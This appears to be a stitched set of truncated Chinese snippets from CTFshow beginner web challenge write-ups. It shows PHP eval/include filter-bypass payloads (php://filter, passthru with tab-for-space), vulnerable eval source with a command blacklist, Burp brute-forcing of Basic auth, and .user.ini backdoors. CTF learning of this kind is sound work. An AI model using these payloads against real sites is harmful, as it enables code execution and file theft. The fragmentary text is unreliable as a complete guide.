在web31的基础上额外过滤了括号 include可以不使用括号直接使用 payload:?c=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php 注:其中?>用来代替分号
web32:eval() 利用与正则绕过。 web33:eval() 利用与正则绕过,PHP 伪协议。 web34:eval() 利用与正则绕过,PHP 伪协议。 web35:eval() 利用与正则绕过,PHP 伪协议。 web36:eval() 利用与正则绕过,PHP 伪协议。 web37:include() 利用与正则绕过,PHP 伪协议。 web38:include() 利用与正则绕过,PHP 伪协...
黑名单添加双引号,不影响我们,解法同32 web34 error_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i",$c)){eval($c); } }else{highlight_file(__FILE__); } 黑名单添加冒号,解法同32 we...
绕过 cp命令 web30 ``也可以当命令执行哦 web31 GET字符逃逸 web32 include web33 require web34 仍然include web35 还是include web36 还是一样 web37 data伪协议 web38 =代替php web39 php后缀 web40 show_source web41 只留下了| web42 cat查看源代码 web43 nl查看源代码 web44 nl查看源代码2 web29...
web22 爆破长ctf.show的子域名,爆破网址:https://phpinfo.me/domain/ 里面有一个vip.ctf.show,页面名称里面就有flag{ctf_show_web} web23 include('flag.php');if(isset($_GET['token'])){ $token = md5($_GET['token']);if(substr($token,1,1)===substr($token,14,1) &&substr($token,14,...
CTFshow-Web入门模块-爆破 by 故人叹、 web21 考察点:burpsuite使用、自定义迭代器使用 题目提供了字典,要求登录并提示了爆破,使用burpsuite抓包并操作: (1)用户名一般为admin,密码随意输,抓包并发送给爆破模块。 可以看到Basic后有一段base64编码,解码得到用户名:密码的格式,证明我们之后的payload在此处,并且格式要与...
ctfshow_web入门 命令执行(全)——学习 命令执行 刚刚开始学习命令执行,萌新一个 因为是学习嘛,所以东西写的杂乱了 web 29 error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c);...
CTFshow WEB入门31 在WEB30的基础上额外过滤了cat与空格 想个办法绕过 借用Pur3师傅的绕过姿势 以TAB代替空格,用more代替cat payload:?c=passthru("more%09fl*");
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。 但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
Web21: 进入主页为登录框,随便输入信息用burp抓包,发现Authorization认证使用Base64加密传输,解密发现为刚才输入的信息 右键发送至Intruder进行爆破,使用题目给出的字典进行爆破并添加变量 添加前缀使用户名固定并用Base64加密传输,记得取消勾选url-encod